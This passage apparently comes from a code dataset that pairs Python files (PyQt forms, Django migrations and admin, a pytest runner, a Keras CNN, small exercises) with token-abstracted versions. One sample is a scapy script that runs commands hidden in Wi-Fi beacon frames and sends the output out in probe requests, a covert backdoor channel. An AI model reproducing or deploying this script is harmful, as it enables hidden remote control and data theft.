30))\n font = QtGui.QFont()\n font.setPointSize(16)\n self.passwordlineEdit.setFont(font)\n self.passwordlineEdit.setStyleSheet('border-radius:15px;')\n self.passwordlineEdit.setEchoMode(QtWidgets.QLineEdit.Password)\n self.passwordlineEdit.setObjectName('passwordlineEdit')\n self.horizontalLayout_2.addWidget(self.passwordlineEdit)\n self.verticalLayout_2.addWidget(self.widget_4, 0, QtCore.Qt.\n AlignHCenter)\n self.widget = QtWidgets.QWidget(self.widget_2)\n self.widget.setObjectName('widget')\n self.horizontalLayout_3 = QtWidgets.QHBoxLayout(self.widget)\n self.horizontalLayout_3.setContentsMargins(-1, -1, 82, -1)\n self.horizontalLayout_3.setObjectName('horizontalLayout_3')\n self.confirmpasswordlabel = QtWidgets.QLabel(self.widget)\n font = QtGui.QFont()\n font.setFamily('微軟正黑體')\n font.setPointSize(28)\n self.confirmpasswordlabel.setFont(font)\n self.confirmpasswordlabel.setObjectName('confirmpasswordlabel')\n self.horizontalLayout_3.addWidget(self.confirmpasswordlabel)\n self.confirmpasswordlineEdit = QtWidgets.QLineEdit(self.widget)\n self.confirmpasswordlineEdit.setMinimumSize(QtCore.QSize(300, 30))\n font = QtGui.QFont()\n font.setPointSize(16)\n self.confirmpasswordlineEdit.setFont(font)\n self.confirmpasswordlineEdit.setStyleSheet('border-radius:15px;')\n self.confirmpasswordlineEdit.setEchoMode(QtWidgets.QLineEdit.Password)\n self.confirmpasswordlineEdit.setObjectName('confirmpasswordlineEdit')\n self.horizontalLayout_3.addWidget(self.confirmpasswordlineEdit)\n self.verticalLayout_2.addWidget(self.widget, 0, QtCore.Qt.AlignHCenter)\n self.verticalLayout.addWidget(self.widget_2)\n self.widget_5 = QtWidgets.QWidget(self.centralwidget)\n self.widget_5.setStyleSheet('color:rgb(255, 255, 255)')\n self.widget_5.setObjectName('widget_5')\n self.verticalLayout_3 = QtWidgets.QVBoxLayout(self.widget_5)\n self.verticalLayout_3.setObjectName('verticalLayout_3')\n self.confirmpushButton = QtWidgets.QPushButton(self.widget_5)\n self.confirmpushButton.setMinimumSize(QtCore.QSize(200, 60))\n font = QtGui.QFont()\n font.setPointSize(20)\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.confirmpushButton.setFont(font)\n self.confirmpushButton.setStyleSheet(\n \"\"\"border-color: rgb(255, 255, 255);\nbackground-color: rgb(255, 255, 255,100);\nborder-radius:15px;\nfont: 20pt;\"\"\"\n )\n self.confirmpushButton.setObjectName('confirmpushButton')\n self.verticalLayout_3.addWidget(self.confirmpushButton, 0, QtCore.\n Qt.AlignRight)\n self.cancelpushButton = QtWidgets.QPushButton(self.widget_5)\n self.cancelpushButton.setMinimumSize(QtCore.QSize(200, 60))\n font = QtGui.QFont()\n font.setPointSize(20)\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.cancelpushButton.setFont(font)\n self.cancelpushButton.setStyleSheet(\n \"\"\"border-color: rgb(255, 255, 255);\nbackground-color: rgb(255, 255, 255,100);\nborder-radius:15px;\nfont: 20pt;\"\"\"\n )\n self.cancelpushButton.setObjectName('cancelpushButton')\n self.verticalLayout_3.addWidget(self.cancelpushButton, 0, QtCore.Qt\n .AlignRight)\n self.verticalLayout.addWidget(self.widget_5)\n createaccount.setCentralWidget(self.centralwidget)\n self.menubar = QtWidgets.QMenuBar(createaccount)\n self.menubar.setGeometry(QtCore.QRect(0, 0, 800, 21))\n self.menubar.setObjectName('menubar')\n createaccount.setMenuBar(self.menubar)\n self.statusbar = QtWidgets.QStatusBar(createaccount)\n self.statusbar.setObjectName('statusbar')\n createaccount.setStatusBar(self.statusbar)\n self.retranslateUi(createaccount)\n QtCore.QMetaObject.connectSlotsByName(createaccount)\n\n def retranslateUi(self, createaccount):\n _translate = QtCore.QCoreApplication.translate\n createaccount.setWindowTitle(_translate('createaccount', 'MainWindow'))\n self.userlabel.setText(_translate('createaccount',\n '<html><head/><body><p><span style=\" color:#ffffff;\">帳號:</span></p></body></html>'\n ))\n self.passwordlabel.setText(_translate('createaccount',\n '<html><head/><body><p><span style=\" color:#ffffff;\">密碼:</span></p></body></html>'\n ))\n self.confirmpasswordlabel.setText(_translate('createaccount',\n '<html><head/><body><p><span style=\" color:#ffffff;\">確認密碼:</span></p></body></html>'\n ))\n self.confirmpushButton.setText(_translate('createaccount', '確認'))\n self.cancelpushButton.setText(_translate('createaccount', '取消'))\n", "<import token>\n\n\nclass Ui_createaccount(object):\n <function token>\n\n def retranslateUi(self, createaccount):\n _translate = QtCore.QCoreApplication.translate\n createaccount.setWindowTitle(_translate('createaccount', 'MainWindow'))\n self.userlabel.setText(_translate('createaccount',\n '<html><head/><body><p><span style=\" color:#ffffff;\">帳號:</span></p></body></html>'\n ))\n self.passwordlabel.setText(_translate('createaccount',\n '<html><head/><body><p><span style=\" color:#ffffff;\">密碼:</span></p></body></html>'\n ))\n self.confirmpasswordlabel.setText(_translate('createaccount',\n '<html><head/><body><p><span style=\" color:#ffffff;\">確認密碼:</span></p></body></html>'\n ))\n self.confirmpushButton.setText(_translate('createaccount', '確認'))\n self.cancelpushButton.setText(_translate('createaccount', '取消'))\n", "<import token>\n\n\nclass Ui_createaccount(object):\n <function token>\n <function token>\n", "<import token>\n<class token>\n" ]

[ "# Generated by Django 2.0.5 on 2020-01-21 08:23\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('doctor', '0344_searchscoreparams'),\n ]\n\n operations = [\n migrations.RenameField(\n model_name='searchscoreparams',\n old_name='value',\n new_name='max_score',\n ),\n ]\n", "from django.db import migrations\n\n\nclass Migration(migrations.Migration):\n dependencies = [('doctor', '0344_searchscoreparams')]\n operations = [migrations.RenameField(model_name='searchscoreparams',\n old_name='value', new_name='max_score')]\n", "<import token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('doctor', '0344_searchscoreparams')]\n operations = [migrations.RenameField(model_name='searchscoreparams',\n old_name='value', new_name='max_score')]\n", "<import token>\n\n\nclass Migration(migrations.Migration):\n <assignment token>\n <assignment token>\n", "<import token>\n<class token>\n" ]

[ "import pytest\nimport os\nimport sys\nfrom ks_login import load_log\nlog = load_log.Log()\n\n\nclass TbpRunner(object):\n\n\n def run(self, path=None, run_args=None, case_mark=None):\n if path:\n work_runner = []\n path_list = path.split(\",\")\n work_runner.append(\"-s\")\n if case_mark:\n work_runner.append(\"-m=%s\" % case_mark)\n for i in path_list:\n work_runner.append(i)\n work_runner.append(\"--alluredir\")\n work_runner.append(\"report\")\n print(work_runner)\n pytest.main(work_runner)\n else:\n pytest.main([\"-s\",\n \"pytest_test/options\",\n \"--alluredir\", \"report\"])\n\n\n\n\n\nif __name__ == \"__main__\":\n try:\n work_path = sys.argv[1]\n except Exception as e:\n log.error(e.args)\n work_path = None\n\n print(work_path)\n\n run = TbpRunner()\n run.run(path=work_path)\n\n\n # pytest.main([\"--clean-alluredir\", \"-s\", \"pytest_test/options/test_file.py\", \"--alluredir\", 'report'])\n\n", "import pytest\nimport os\nimport sys\nfrom ks_login import load_log\nlog = load_log.Log()\n\n\nclass TbpRunner(object):\n\n def run(self, path=None, run_args=None, case_mark=None):\n if path:\n work_runner = []\n path_list = path.split(',')\n work_runner.append('-s')\n if case_mark:\n work_runner.append('-m=%s' % case_mark)\n for i in path_list:\n work_runner.append(i)\n work_runner.append('--alluredir')\n work_runner.append('report')\n print(work_runner)\n pytest.main(work_runner)\n else:\n pytest.main(['-s', 'pytest_test/options', '--alluredir', 'report'])\n\n\nif __name__ == '__main__':\n try:\n work_path = sys.argv[1]\n except Exception as e:\n log.error(e.args)\n work_path = None\n print(work_path)\n run = TbpRunner()\n run.run(path=work_path)\n", "<import token>\nlog = load_log.Log()\n\n\nclass TbpRunner(object):\n\n def run(self, path=None, run_args=None, case_mark=None):\n if path:\n work_runner = []\n path_list = path.split(',')\n work_runner.append('-s')\n if case_mark:\n work_runner.append('-m=%s' % case_mark)\n for i in path_list:\n work_runner.append(i)\n work_runner.append('--alluredir')\n work_runner.append('report')\n print(work_runner)\n pytest.main(work_runner)\n else:\n pytest.main(['-s', 'pytest_test/options', '--alluredir', 'report'])\n\n\nif __name__ == '__main__':\n try:\n work_path = sys.argv[1]\n except Exception as e:\n log.error(e.args)\n work_path = None\n print(work_path)\n run = TbpRunner()\n run.run(path=work_path)\n", "<import token>\n<assignment token>\n\n\nclass TbpRunner(object):\n\n def run(self, path=None, run_args=None, case_mark=None):\n if path:\n work_runner = []\n path_list = path.split(',')\n work_runner.append('-s')\n if case_mark:\n work_runner.append('-m=%s' % case_mark)\n for i in path_list:\n work_runner.append(i)\n work_runner.append('--alluredir')\n work_runner.append('report')\n print(work_runner)\n pytest.main(work_runner)\n else:\n pytest.main(['-s', 'pytest_test/options', '--alluredir', 'report'])\n\n\nif __name__ == '__main__':\n try:\n work_path = sys.argv[1]\n except Exception as e:\n log.error(e.args)\n work_path = None\n print(work_path)\n run = TbpRunner()\n run.run(path=work_path)\n", "<import token>\n<assignment token>\n\n\nclass TbpRunner(object):\n\n def run(self, path=None, run_args=None, case_mark=None):\n if path:\n work_runner = []\n path_list = path.split(',')\n work_runner.append('-s')\n if case_mark:\n work_runner.append('-m=%s' % case_mark)\n for i in path_list:\n work_runner.append(i)\n work_runner.append('--alluredir')\n work_runner.append('report')\n print(work_runner)\n pytest.main(work_runner)\n else:\n pytest.main(['-s', 'pytest_test/options', '--alluredir', 'report'])\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\nclass TbpRunner(object):\n <function token>\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<code token>\n" ]

[ "### Gesture Detection using CNN\r\nimport os\r\nimport tensorflow as tf\r\nimport tensorflow.keras as keras \r\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\r\nfrom tensorflow.keras.preprocessing import image\r\nfrom tensorflow.keras.layers import Conv2D, MaxPooling2D, Flatten, Dense, Dropout\r\n\r\nnum_classes = 3 # number of gestures\r\ntarget_size = (96,96)\r\n\r\n# Dataset \r\n#train_dir = 'data/gesture'\r\ntrain_dir = 'data/game'\r\n\r\n# Data Generator\r\nrescale = 1./255\r\ntrain_datagen = ImageDataGenerator(\r\n rescale=rescale,\r\n shear_range=0.2,\r\n zoom_range=0.2,\r\n horizontal_flip=True)\r\n\r\ntrain_generator = train_datagen.flow_from_directory(\r\n train_dir,\r\n target_size=target_size,\r\n class_mode='categorical',\r\n batch_size=8,\r\n color_mode=\"rgb\",\t\r\n shuffle=True)\r\n\t\r\n# Build Model\r\nmodel = keras.models.Sequential()\r\n# block 1\r\nmodel.add(Conv2D(32, kernel_size=(3, 3), padding='same', activation='relu', input_shape=(96,96,3)))\r\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\r\n# block 2\r\nmodel.add(Conv2D(64, kernel_size=(3, 3), padding='same', activation='relu'))\r\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\r\n# block 3\r\nmodel.add(Conv2D(96, kernel_size=(3, 3), padding='same', activation='relu'))\r\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\r\n# block 3\r\nmodel.add(Conv2D(128, kernel_size=(3, 3), padding='same', activation='relu'))\r\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\r\n# fully-connected layers\r\nmodel.add(Flatten())\r\nmodel.add(Dense(128, activation='relu'))\r\nmodel.add(Dropout(0.5))\r\nmodel.add(Dense(num_classes , activation='softmax'))\r\n\r\n# Compile Model\r\nmodel.compile(optimizer='Adam',loss='categorical_crossentropy',metrics=['accuracy'])\r\nmodel.summary()\r\n\r\n# Train Model \r\nnum_epochs=100\r\n\r\nmodel.fit_generator(generator=train_generator, \r\n\tsteps_per_epoch=train_generator.n // train_generator.batch_size, \r\n\tepochs=num_epochs)\r\n\t\t\t\r\n# Save Model\r\nmodel.save('model/gesture_cnn.h5')\r\n", "import os\nimport tensorflow as tf\nimport tensorflow.keras as keras\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\nfrom tensorflow.keras.preprocessing import image\nfrom tensorflow.keras.layers import Conv2D, MaxPooling2D, Flatten, Dense, Dropout\nnum_classes = 3\ntarget_size = 96, 96\ntrain_dir = 'data/game'\nrescale = 1.0 / 255\ntrain_datagen = ImageDataGenerator(rescale=rescale, shear_range=0.2,\n zoom_range=0.2, horizontal_flip=True)\ntrain_generator = train_datagen.flow_from_directory(train_dir, target_size=\n target_size, class_mode='categorical', batch_size=8, color_mode='rgb',\n shuffle=True)\nmodel = keras.models.Sequential()\nmodel.add(Conv2D(32, kernel_size=(3, 3), padding='same', activation='relu',\n input_shape=(96, 96, 3)))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Conv2D(64, kernel_size=(3, 3), padding='same', activation='relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Conv2D(96, kernel_size=(3, 3), padding='same', activation='relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Conv2D(128, kernel_size=(3, 3), padding='same', activation='relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Flatten())\nmodel.add(Dense(128, activation='relu'))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(num_classes, activation='softmax'))\nmodel.compile(optimizer='Adam', loss='categorical_crossentropy', metrics=[\n 'accuracy'])\nmodel.summary()\nnum_epochs = 100\nmodel.fit_generator(generator=train_generator, steps_per_epoch=\n train_generator.n // train_generator.batch_size, epochs=num_epochs)\nmodel.save('model/gesture_cnn.h5')\n", "<import token>\nnum_classes = 3\ntarget_size = 96, 96\ntrain_dir = 'data/game'\nrescale = 1.0 / 255\ntrain_datagen = ImageDataGenerator(rescale=rescale, shear_range=0.2,\n zoom_range=0.2, horizontal_flip=True)\ntrain_generator = train_datagen.flow_from_directory(train_dir, target_size=\n target_size, class_mode='categorical', batch_size=8, color_mode='rgb',\n shuffle=True)\nmodel = keras.models.Sequential()\nmodel.add(Conv2D(32, kernel_size=(3, 3), padding='same', activation='relu',\n input_shape=(96, 96, 3)))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Conv2D(64, kernel_size=(3, 3), padding='same', activation='relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Conv2D(96, kernel_size=(3, 3), padding='same', activation='relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Conv2D(128, kernel_size=(3, 3), padding='same', activation='relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Flatten())\nmodel.add(Dense(128, activation='relu'))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(num_classes, activation='softmax'))\nmodel.compile(optimizer='Adam', loss='categorical_crossentropy', metrics=[\n 'accuracy'])\nmodel.summary()\nnum_epochs = 100\nmodel.fit_generator(generator=train_generator, steps_per_epoch=\n train_generator.n // train_generator.batch_size, epochs=num_epochs)\nmodel.save('model/gesture_cnn.h5')\n", "<import token>\n<assignment token>\nmodel.add(Conv2D(32, kernel_size=(3, 3), padding='same', activation='relu',\n input_shape=(96, 96, 3)))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Conv2D(64, kernel_size=(3, 3), padding='same', activation='relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Conv2D(96, kernel_size=(3, 3), padding='same', activation='relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Conv2D(128, kernel_size=(3, 3), padding='same', activation='relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Flatten())\nmodel.add(Dense(128, activation='relu'))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(num_classes, activation='softmax'))\nmodel.compile(optimizer='Adam', loss='categorical_crossentropy', metrics=[\n 'accuracy'])\nmodel.summary()\n<assignment token>\nmodel.fit_generator(generator=train_generator, steps_per_epoch=\n train_generator.n // train_generator.batch_size, epochs=num_epochs)\nmodel.save('model/gesture_cnn.h5')\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n" ]

[ "#!/usr/bin/python\n\n# python receiver.py mon0\n\nimport subprocess\nimport logging\nimport time\nimport base64\nimport sys\n\nlogging.getLogger(\"scapy.runtime\").setLevel(logging.ERROR)\nfrom scapy.all import * \n\ninterface=sys.argv[1] #mon0\n\nconf.iface=interface\n\ndef executeHere(cmd):\n\tcmd = base64.b64decode(cmd)\n\tprint \"Command: \"+cmd\n\tcmd = cmd.split(\" \")\n\tp = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\tout, err = p.communicate()\n\tprint \"Command Output:\"\n\tout = out.rstrip(\"\\n\")\n\tprint out\n\tprint \"Output Length: \"+str(len(out))\n\tprint \"Command Error:\"\n\tprint err\n\tprint \"Error Length: \"+str(len(err))\n\tprint \"Output Base64 Length: \"+str(len(base64.b64encode(out)))\n\tprobereq = RadioTap()/Dot11(type=0,subtype=4,addr1=\"ff:ff:ff:ff:ff:ff\", addr2=\"11:22:33:44:55:66\",addr3=\"ff:ff:ff:ff:ff:ff\")/Dot11Elt(ID=0,info=base64.b64encode(out))/Dot11Elt(ID=1,info=\"\\x82\\x84\\x8b\\x96\")\n\n\tprint \"Sleeping for 5 seconds...\"\n\ttime.sleep(5)\n\tprint \"Sending output in Probe Request...\"\n\ttry:\n\t\tsendp(probereq, iface=interface, verbose=0)\n\texcept Exception,e:\n\t\tprint \"Exception: \"+str(e)\n\t\tprint \"Sending caught exception...\"\n\t\texprobereq = RadioTap()/Dot11(type=0,subtype=4,addr1=\"ff:ff:ff:ff:ff:ff\", addr2=\"11:22:33:44:55:66\",addr3=\"ff:ff:ff:ff:ff:ff\")/Dot11Elt(ID=0,info=base64.b64encode(str(e)))/Dot11Elt(ID=1,info=\"\\x82\\x84\\x8b\\x96\")\n\t\tsendp(exprobereq, iface=interface, verbose=0)\n\ndef packets(pkt):\n\ttry:\n\t\tif pkt.haslayer(Dot11):\n\t\t\tif pkt.type == 0 and pkt.subtype == 8 and pkt.info == \"\" : # if management frame and beacon and SSID is blank\n\t\t\t\tif pkt.addr2 == \"11:22:33:44:55:66\":\n\t\t\t\t\tprint \"AP MAC: %s | SSID: %s | Rates: %s\" % (pkt.addr2, pkt.info, (pkt[Dot11Elt:2].info))\n\t\t\t\t\t#print ':'.join(x.encode('hex') for x in pkt[Dot11Elt:2].info)\n\t\t\t\t\texecuteHere(str(pkt[Dot11Elt:2].info))\n\t\t\t\t\treturn True\n\texcept Exception,e:\n\t\tprint \"Something bad happened...\"+str(e)\n\n\nwhile 1:\n\ttry:\n\t\tprint \"\\nSniffing for packets...\"\n\t\tsniff(iface=interface, stop_filter=packets)\n\texcept Exception,e:\n\t\tprint \"Exception: \"+str(e)\n" ]

[ "dict = {}\ndict['one'] = '1-课程'\ndict[2] = '2-课程'\ntindict = {'name':'赵宗召','code':'1','site':'www.baidu.com'}\n# print(dict['one'])\n# print(dict[2])\n# print(dict)\n# print(tindict.keys())\n# print(tindict.values())\nprint(tindict.pop('name'))\nprint(tindict)\n#\nlist = ('1',2,3)\ndict2 =dict.fromkeys(list,10)\nprint(dict2)\n#\n# print(dict2.get('name'))\n#\n# print(2 in dict2)\n#\n# print(dict2.items())\n#\n# print(dict2.update(dict))\n# print(dict2)\n#\nprint(dict2.pop(2))\n#\n# print(dict2.popitem())", "dict = {}\ndict['one'] = '1-课程'\ndict[2] = '2-课程'\ntindict = {'name': '赵宗召', 'code': '1', 'site': 'www.baidu.com'}\nprint(tindict.pop('name'))\nprint(tindict)\nlist = '1', 2, 3\ndict2 = dict.fromkeys(list, 10)\nprint(dict2)\nprint(dict2.pop(2))\n", "<assignment token>\nprint(tindict.pop('name'))\nprint(tindict)\n<assignment token>\nprint(dict2)\nprint(dict2.pop(2))\n", "<assignment token>\n<code token>\n<assignment token>\n<code token>\n" ]

[ "import os\n\nclear = lambda: os.system(\"clear\")\nclear()\n\nnameBid = {}\nstop = False\n\nwhile not stop:\n name = input(\"What name would you like to place on your bid?: \")\n bid = float(input(\"What is your bid?: $\"))\n\n nameBid[name] = bid\n\n peopleNeedingToBid = input(\n \"Thank you for your bid, Are there any others needing to bid? Yes or No \"\n ).lower()\n\n if peopleNeedingToBid == \"no\":\n stop = True\n\n clear()\n\npersonWithHighestBid = \"\"\nhighestBid = 0\n\nfor name in nameBid:\n bid = nameBid[name]\n if bid > highestBid:\n personWithHighestBid = name\n highestBid = bid\n\nprint(f\"{personWithHighestBid} is the winner with a bid of ${round(highestBid,2)}\")\n", "import os\nclear = lambda : os.system('clear')\nclear()\nnameBid = {}\nstop = False\nwhile not stop:\n name = input('What name would you like to place on your bid?: ')\n bid = float(input('What is your bid?: $'))\n nameBid[name] = bid\n peopleNeedingToBid = input(\n 'Thank you for your bid, Are there any others needing to bid? Yes or No '\n ).lower()\n if peopleNeedingToBid == 'no':\n stop = True\n clear()\npersonWithHighestBid = ''\nhighestBid = 0\nfor name in nameBid:\n bid = nameBid[name]\n if bid > highestBid:\n personWithHighestBid = name\n highestBid = bid\nprint(\n f'{personWithHighestBid} is the winner with a bid of ${round(highestBid, 2)}'\n )\n", "<import token>\nclear = lambda : os.system('clear')\nclear()\nnameBid = {}\nstop = False\nwhile not stop:\n name = input('What name would you like to place on your bid?: ')\n bid = float(input('What is your bid?: $'))\n nameBid[name] = bid\n peopleNeedingToBid = input(\n 'Thank you for your bid, Are there any others needing to bid? Yes or No '\n ).lower()\n if peopleNeedingToBid == 'no':\n stop = True\n clear()\npersonWithHighestBid = ''\nhighestBid = 0\nfor name in nameBid:\n bid = nameBid[name]\n if bid > highestBid:\n personWithHighestBid = name\n highestBid = bid\nprint(\n f'{personWithHighestBid} is the winner with a bid of ${round(highestBid, 2)}'\n )\n", "<import token>\n<assignment token>\nclear()\n<assignment token>\nwhile not stop:\n name = input('What name would you like to place on your bid?: ')\n bid = float(input('What is your bid?: $'))\n nameBid[name] = bid\n peopleNeedingToBid = input(\n 'Thank you for your bid, Are there any others needing to bid? Yes or No '\n ).lower()\n if peopleNeedingToBid == 'no':\n stop = True\n clear()\n<assignment token>\nfor name in nameBid:\n bid = nameBid[name]\n if bid > highestBid:\n personWithHighestBid = name\n highestBid = bid\nprint(\n f'{personWithHighestBid} is the winner with a bid of ${round(highestBid, 2)}'\n )\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n" ]

[ "from django.contrib import admin\n\nfrom . import models\n\n\nclass ExternalLinkInline(admin.TabularInline):\n model = models.ExternalLink\n extra = 1\n\n\nclass TalkInline(admin.StackedInline):\n model = models.Talk\n filter_horizontal = ('speakers',)\n extra = 1\n\n\nclass MeetupAdmin(admin.ModelAdmin):\n inlines = (TalkInline, ExternalLinkInline)\n readonly_fields = ('date_modified',)\n\n\nclass TalkAdmin(admin.ModelAdmin):\n list_display = ('title', 'meetup')\n readonly_fields = ['message', 'proposal_date']\n\n def message(self, obj):\n try:\n message = obj.talkproposal_set.all()[0].message\n except IndexError:\n message = \"\"\n return message\n\n def proposal_date(self, obj):\n try:\n date = obj.talkproposal_set.all()[0].date_submitted\n except IndexError:\n date = \"\"\n return date \n\n\n\nadmin.site.register(models.MeetupType)\nadmin.site.register(models.Meetup, MeetupAdmin)\nadmin.site.register(models.Speaker)\nadmin.site.register(models.Talk, TalkAdmin)\nadmin.site.register(models.Sponsor)\nadmin.site.register(models.Venue)", "from django.contrib import admin\nfrom . import models\n\n\nclass ExternalLinkInline(admin.TabularInline):\n model = models.ExternalLink\n extra = 1\n\n\nclass TalkInline(admin.StackedInline):\n model = models.Talk\n filter_horizontal = 'speakers',\n extra = 1\n\n\nclass MeetupAdmin(admin.ModelAdmin):\n inlines = TalkInline, ExternalLinkInline\n readonly_fields = 'date_modified',\n\n\nclass TalkAdmin(admin.ModelAdmin):\n list_display = 'title', 'meetup'\n readonly_fields = ['message', 'proposal_date']\n\n def message(self, obj):\n try:\n message = obj.talkproposal_set.all()[0].message\n except IndexError:\n message = ''\n return message\n\n def proposal_date(self, obj):\n try:\n date = obj.talkproposal_set.all()[0].date_submitted\n except IndexError:\n date = ''\n return date\n\n\nadmin.site.register(models.MeetupType)\nadmin.site.register(models.Meetup, MeetupAdmin)\nadmin.site.register(models.Speaker)\nadmin.site.register(models.Talk, TalkAdmin)\nadmin.site.register(models.Sponsor)\nadmin.site.register(models.Venue)\n", "<import token>\n\n\nclass ExternalLinkInline(admin.TabularInline):\n model = models.ExternalLink\n extra = 1\n\n\nclass TalkInline(admin.StackedInline):\n model = models.Talk\n filter_horizontal = 'speakers',\n extra = 1\n\n\nclass MeetupAdmin(admin.ModelAdmin):\n inlines = TalkInline, ExternalLinkInline\n readonly_fields = 'date_modified',\n\n\nclass TalkAdmin(admin.ModelAdmin):\n list_display = 'title', 'meetup'\n readonly_fields = ['message', 'proposal_date']\n\n def message(self, obj):\n try:\n message = obj.talkproposal_set.all()[0].message\n except IndexError:\n message = ''\n return message\n\n def proposal_date(self, obj):\n try:\n date = obj.talkproposal_set.all()[0].date_submitted\n except IndexError:\n date = ''\n return date\n\n\nadmin.site.register(models.MeetupType)\nadmin.site.register(models.Meetup, MeetupAdmin)\nadmin.site.register(models.Speaker)\nadmin.site.register(models.Talk, TalkAdmin)\nadmin.site.register(models.Sponsor)\nadmin.site.register(models.Venue)\n", "<import token>\n\n\nclass ExternalLinkInline(admin.TabularInline):\n model = models.ExternalLink\n extra = 1\n\n\nclass TalkInline(admin.StackedInline):\n model = models.Talk\n filter_horizontal = 'speakers',\n extra = 1\n\n\nclass MeetupAdmin(admin.ModelAdmin):\n inlines = TalkInline, ExternalLinkInline\n readonly_fields = 'date_modified',\n\n\nclass TalkAdmin(admin.ModelAdmin):\n list_display = 'title', 'meetup'\n readonly_fields = ['message', 'proposal_date']\n\n def message(self, obj):\n try:\n message = obj.talkproposal_set.all()[0].message\n except IndexError:\n message = ''\n return message\n\n def proposal_date(self, obj):\n try:\n date = obj.talkproposal_set.all()[0].date_submitted\n except IndexError:\n date = ''\n return date\n\n\n<code token>\n", "<import token>\n\n\nclass ExternalLinkInline(admin.TabularInline):\n <assignment token>\n <assignment token>\n\n\nclass TalkInline(admin.StackedInline):\n model = models.Talk\n filter_horizontal = 'speakers',\n extra = 1\n\n\nclass MeetupAdmin(admin.ModelAdmin):\n inlines = TalkInline, ExternalLinkInline\n readonly_fields = 'date_modified',\n\n\nclass TalkAdmin(admin.ModelAdmin):\n list_display = 'title', 'meetup'\n readonly_fields = ['message', 'proposal_date']\n\n def message(self, obj):\n try:\n message = obj.talkproposal_set.all()[0].message\n except IndexError:\n message = ''\n return message\n\n def proposal_date(self, obj):\n try:\n date = obj.talkproposal_set.all()[0].date_submitted\n except IndexError:\n date = ''\n return date\n\n\n<code token>\n", "<import token>\n<class token>\n\n\nclass TalkInline(admin.StackedInline):\n model = models.Talk\n filter_horizontal = 'speakers',\n extra = 1\n\n\nclass MeetupAdmin(admin.ModelAdmin):\n inlines = TalkInline, ExternalLinkInline\n readonly_fields = 'date_modified',\n\n\nclass TalkAdmin(admin.ModelAdmin):\n list_display = 'title', 'meetup'\n readonly_fields = ['message', 'proposal_date']\n\n def message(self, obj):\n try:\n message = obj.talkproposal_set.all()[0].message\n except IndexError:\n message = ''\n return message\n\n def proposal_date(self, obj):\n try:\n date = obj.talkproposal_set.all()[0].date_submitted\n except IndexError:\n date = ''\n return date\n\n\n<code token>\n", "<import token>\n<class token>\n\n\nclass TalkInline(admin.StackedInline):\n <assignment token>\n <assignment token>\n <assignment token>\n\n\nclass MeetupAdmin(admin.ModelAdmin):\n inlines = TalkInline, ExternalLinkInline\n readonly_fields = 'date_modified',\n\n\nclass TalkAdmin(admin.ModelAdmin):\n list_display = 'title', 'meetup'\n readonly_fields = ['message', 'proposal_date']\n\n def message(self, obj):\n try:\n message = obj.talkproposal_set.all()[0].message\n except IndexError:\n message = ''\n return message\n\n def proposal_date(self, obj):\n try:\n date = obj.talkproposal_set.all()[0].date_submitted\n except IndexError:\n date = ''\n return date\n\n\n<code token>\n", "<import token>\n<class token>\n<class token>\n\n\nclass MeetupAdmin(admin.ModelAdmin):\n inlines = TalkInline, ExternalLinkInline\n readonly_fields = 'date_modified',\n\n\nclass TalkAdmin(admin.ModelAdmin):\n list_display = 'title', 'meetup'\n readonly_fields = ['message', 'proposal_date']\n\n def message(self, obj):\n try:\n message = obj.talkproposal_set.all()[0].message\n except IndexError:\n message = ''\n return message\n\n def proposal_date(self, obj):\n try:\n date = obj.talkproposal_set.all()[0].date_submitted\n except IndexError:\n date = ''\n return date\n\n\n<code token>\n", "<import token>\n<class token>\n<class token>\n\n\nclass MeetupAdmin(admin.ModelAdmin):\n <assignment token>\n <assignment token>\n\n\nclass TalkAdmin(admin.ModelAdmin):\n list_display = 'title', 'meetup'\n readonly_fields = ['message', 'proposal_date']\n\n def message(self, obj):\n try:\n message = obj.talkproposal_set.all()[0].message\n except IndexError:\n message = ''\n return message\n\n def proposal_date(self, obj):\n try:\n date = obj.talkproposal_set.all()[0].date_submitted\n except IndexError:\n date = ''\n return date\n\n\n<code token>\n", "<import token>\n<class token>\n<class token>\n<class token>\n\n\nclass TalkAdmin(admin.ModelAdmin):\n list_display = 'title', 'meetup'\n readonly_fields = ['message', 'proposal_date']\n\n def message(self, obj):\n try:\n message = obj.talkproposal_set.all()[0].message\n except IndexError:\n message = ''\n return message\n\n def proposal_date(self, obj):\n try:\n date = obj.talkproposal_set.all()[0].date_submitted\n except IndexError:\n date = ''\n return date\n\n\n<code token>\n", "<import token>\n<class token>\n<class token>\n<class token>\n\n\nclass TalkAdmin(admin.ModelAdmin):\n <assignment token>\n <assignment token>\n\n def message(self, obj):\n try:\n 